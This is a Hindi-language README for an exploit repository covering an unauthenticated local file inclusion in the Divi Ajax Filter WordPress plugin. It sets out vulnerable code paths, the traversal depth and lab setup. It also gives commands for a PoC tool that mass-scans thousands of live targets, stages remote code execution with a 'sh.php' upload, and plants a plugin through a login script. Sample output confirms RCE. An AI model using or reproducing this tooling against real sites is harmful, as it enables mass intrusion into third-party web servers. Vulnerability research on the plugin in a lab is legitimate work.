
Divi Ajax Filter <= 5.1.2 'custom_loop_template' के माध्यम से बिना प्रमाणीकरण के लोकल फ़ाइल समावेशन
| प्लगइन | Divi Ajax Filter (Divi Engine, प्रीमियम — wordpress.org SVN पर नहीं) |
| प्रभावित | सभी संस्करण <= 5.1.2 (लैब ने मिरर से 3.1.8.4 का उपयोग किया) |
| पैच किया गया | 5.1.3 (11/08/2026) |
| प्रकार | CWE-98 — PHP लोकल फ़ाइल इन्क्लूज़न, बिना प्रमाणीकरण |
| CVSS | 9.8 क्रिटिकल (AV:N/AC:L/PR:N/UI:N) |
| सलाह | Wordfence (खोजकर्ता: h0xilo), प्रकाशित 04/09/2026 |
| स्रोत कोड | सार्वजनिक मिरर: github.com/albertoformi/fr9z3i4pwxt3qx (WP साइट + प्लगइन includes/modules/divi-ajax-filter/ में) |
includes/modules/FilterPosts/FilterPosts.php:1759
wp_create_nonce('filter_object') बनाता है और इसे wp_localize_script
(filter_ajax_object.security) के माध्यम से उस स्क्रिप्ट पर चिपकाता है जो सभी
आगंतुकों के लिए enqueue होती है (wp_enqueue_scripts)। नॉन्स कोई बाधा नहीं है:
हर आगंतुक के पास इसकी एक प्रति होती है।filter_ajax.php:3406-3407 और loadmore_ajax.php:569-570
wp_ajax_nopriv_* (बिना लॉगिन) के साथ हैंडलर पंजीकृत करते हैं।filter_ajax.php:114-133 (loadmore: 73-91):
$loop_var = json_decode(sanitize_text_field($_POST['loop_var'])), फिर
$custom_loop_template = $loop_var['custom_loop_template'] शब्दशः —
बिना basename(), बिना व्हाइटलिस्ट, बिना realpath जाँच।filter_ajax.php:2871-2873 (loadmore: 344-346):
if ($loop_templates == 'custom-template') {
if (file_exists(get_stylesheet_directory() . '/divi-ajax-filter/loop-templates/' . $custom_loop_template)) {
include(get_stylesheet_directory() . '/divi-ajax-filter/loop-templates/' . $custom_loop_template);
query से
$posttype स्वतंत्र है, कोई allow-list नहीं) और क्वेरी को >= 1 पोस्ट उत्पन्न करना चाहिए।<webroot>/wp-content/themes/<theme>/divi-ajax-filter/loop-templates/
→ webroot पर वापस जाने के लिए ../../../../../ (5×) की आवश्यकता है। महत्वपूर्ण नोट:
यदि पथ प्रीफ़िक्स घटक मौजूद नहीं है तो file_exists()/include() चुपचाप विफल हो जाते हैं —
थीम के अंदर divi-ajax-filter/loop-templates/ निर्देशिका मौजूद होनी चाहिए (यह
प्लगइन का प्रलेखित कस्टम-टेम्पलेट ढांचा है, इसलिए यह आमतौर पर उन साइटों पर मौजूद होता है
जो इस सुविधा का उपयोग करती हैं; उस निर्देशिका के बिना ट्रैवर्सल प्रभावी रूप से अवरुद्ध हो जाता है)।cve-2026-11613/
├── poc_http.py # PoC + लाइव मैसिव स्कैनर (एकल फ़ाइल)
├── divi-ajax-filter-3.1.8.4.zip # इंस्टॉल के लिए तैयार प्लगइन (WP एडमिन / Plugins > Add New के माध्यम से अपलोड करें)
├── README.md
├── mirror-site/ # github albertoformi/fr9z3i4pwxt3qx का क्लोन
│ └── includes/modules/divi-ajax-filter/ # प्लगइन v3.1.8.4 (प्रभावित)
└── lab/
├── docker-compose.yml # WP 6.5 + MariaDB, पोर्ट 8099
├── setup.sh # प्लगइन कॉपी करें + compose up
├── install_wp.sh # WP इंस्टॉल करें + सत्यापित करें
└── wp-content/
├── mu-plugins/
│ ├── zz-divi-shim.php # DiviExtension/ET_Builder_* शिम (केवल लैब)
│ └── zz-activate-daf.php # प्लगइन का स्वतः सक्रियण
├── plugins/divi-ajax-filter/ # कमजोर प्लगइन (कंटेनर में माउंट किया गया)
└── uploads/poc-rce.php # सिम्युलेटेड "अपलोड" पेलोड (अंत में exit)
bash lab/setup.sh # प्लगइन कॉपी करें + docker compose up (पोर्ट 8099)
bash lab/install_wp.sh # WP इंस्टॉल करें (admin / LabPass!2026)
# ट्रैवर्सल के लिए आवश्यक थीम संरचना जोड़ें:
docker exec lab-wp-1 mkdir -p /var/www/html/wp-content/themes/twentytwentyfour/divi-ajax-filter/loop-templates
# 2 उदाहरण पोस्ट बनाएं (केवल एक बार):
docker run --rm --volumes-from lab-wp-1 --network lab_default \
-e WORDPRESS_DB_HOST=db -e WORDPRESS_DB_USER=wordpress \
-e WORDPRESS_DB_PASSWORD=wordpress -e WORDPRESS_DB_NAME=wordpress \
wordpress:cli wp post create --post_title="Lab Post 1" --post_status=publish
python poc_http.py target.com # स्वतः http://
python poc_http.py https://target.com domain2.com # कई लक्ष्य
python poc_http.py --list targets.txt --threads 30 # मैसिव स्कैन 5000+
python poc_http.py --list targets.txt --fast # हल्का स्वीप 2 req/लक्ष्य
python poc_http.py target.com --upload-name sh.php --upload-marker MYPWNED # RCE स्टेज करें
http:// बन जाते हैं; स्वतः dedupe; परिणाम तुरंत
इंक्रीमेंटल रूप से results_cve-2026-11613.csv में लिखे जाते हैं (Ctrl-C सुरक्षित, आंशिक परिणाम सहेजे जाते हैं)।VULN: LFI / VULN: LFI+RCE (हरा), not-confirmed (पीला),
NO-NONCE / NO-PLUGIN (सियान), UNREACHABLE / ERROR (लाल)।--no-color / env NO_COLOR सादे आउटपुट के लिए; पाइप किए जाने पर रंग स्वतः बंद हो जाते हैं।python wayang.py <site> <wp-user> <wp-pass>
एक कमांड: लॉगिन → कैनरी WayangXploit रोपें (छोटा निष्क्रिय प्लगइन,
केवल PoC: मार्कर+uid+uname प्रिंट करें फिर exit, वेबशेल नहीं, बिना cmd पैरामीटर)
→ सत्यापित करें → बिना प्रमाणीकरण LFI स्वीप → RCE निर्णय। स्वतः: https-upgrade,
SSL बायपास, redirect-preserving POST। सफाई: परीक्षण के बाद wp-admin में
"WayangXploit Canary" + "Divi Compat Shim" प्लगइन हटाएं।
poc_http.py अब डिफ़ॉल्ट रूप से --upload-marker WayangXploit-RCE-CONFIRMED
है (इसलिए केवल --upload-rel / --upload-name पर्याप्त है)।
[+] LFI: action=divi_filter_ajax_handler depth=5: included xmlrpc.php EXECUTED (marker 'methodResponse')
[+] RCE: action=divi_filter_ajax_handler depth=5: included wp-content/uploads/poc-rce.php EXECUTED
VERDICT: VULNERABLE - RCE confirmed
evidence: CVE-2026-11613-RCE-CONFIRMED | uid=33 user=www-data | uname=Linux ... 6.18.33.2-microsoft-standard-WSL2
लाइव लक्ष्य पर शोषण की शर्तें (जिन्हें live_scan.py जाँचता है):
filter_object नॉन्स सार्वजनिक पृष्ठ पर उजागर होता है (मॉड्यूल स्क्रिप्ट enqueue होती है)।<theme>/divi-ajax-filter/loop-templates/ मौजूद है (प्रीफ़िक्स्ड ट्रैवर्सल को इसकी आवश्यकता है)।